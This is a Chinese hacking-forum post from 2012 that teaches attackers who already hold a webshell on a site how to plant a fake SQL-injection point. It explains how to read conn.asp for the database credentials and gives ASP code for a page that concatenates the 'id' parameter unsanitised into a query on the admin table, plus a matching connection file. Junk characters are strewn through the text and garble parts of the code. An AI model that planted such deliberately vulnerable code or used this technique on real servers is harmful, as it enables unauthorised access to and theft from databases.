找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1848|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
/ I+ \/ y5 e3 G! q8 M* k  t$ w8 a* r  r
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
( w( I2 ?5 h  ^! q& b' t& u5 }( X- I: B. I, k: a
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!% g0 B* E1 F0 o, ]0 \8 p, H
2 m# Y6 d6 X* r1 Q
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
/ Q8 N3 @7 l* l/ R) b, L
$ u- Y8 x* A8 P密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表$ a8 k/ B- w$ H7 `/ B& Q' S
3 z6 t+ q+ ?! x! j  F5 P% s4 Y
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
) w% p0 p' m( L( g
+ \3 ?/ W6 m6 ], _/ y$ e( p程序代码
# W* a( j$ W3 J$ D2 ^+ Z& Q+ ~<!--#include file="xx.asp"-->
8 e) Q+ K* {& b% A<%
0 C4 P# B6 h; f1 n+ Aset rs=server.createobject("ADODB.recordset")
7 p- B2 P+ a' H* k. nid = request("id")
0 ~' ]9 f2 @+ s# Q& HstrSQL = "select * from admin where id=" & id
7 X9 K4 H9 b# O: A7 t/ M  y% V& Ors.open strSQL,conn,1,30 @. ~( [7 G5 Z+ U
rs.close
( E! T, C5 W# L" B0 z5 `%>
7 s5 I: v6 n9 i4 X$ `6 {, p+ X% l0 h) y2 ~" f0 F, j" v
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在+ N( ?9 l1 L' C! x! {

) x- p& B  }! ~3 [你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!( F4 E1 q$ j2 `. ]7 k; c8 E

* x* _' B$ i* y1 Z然后就要构造一个连接数据库的文件了,代码如下:
( |1 z3 @! x/ N4 l: Z4 y, o" T/ m程序代码! }  B3 B- Y+ c8 ^( V
<%        3 n" j4 w3 t% B. c6 ]5 e& p! R7 |
strSQLServerName = "000.000.000.000"     '服务器名称或地址
8 z2 K2 C) b  T, j, s9 r$ EstrSQLDBUserName = "sqlname"         '数据库帐号0 |2 H0 h% x4 W' L9 A8 j
strSQLDBPassword = "sqlpass"         '数据库密码2 G1 j& V/ N- Z: w
strSQLDBName = "sqldataname"           '数据库名称- n& w( d* L7 k2 z5 T- J' k
Set conn = Server.CreateObject("ADODB.Connection")) {0 D3 U. C! d5 i% S) `  P
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
+ l' ?$ H6 _% }6 i5 Hconn.open strCon! _% |& h- X: N2 u' f6 [
%>! p. h4 t! Z8 t% H, R  x& ]
/ ?  O' n: U! `3 e
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
8 u8 ], `9 P; w( ^
. U4 M! B3 V$ S- l, x7 G就这样,正常情况下,就OK了,伪造成功……
- J7 o5 {! ?0 Q" ]- g  a: q) |6 O; A& \1 X  c; K
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表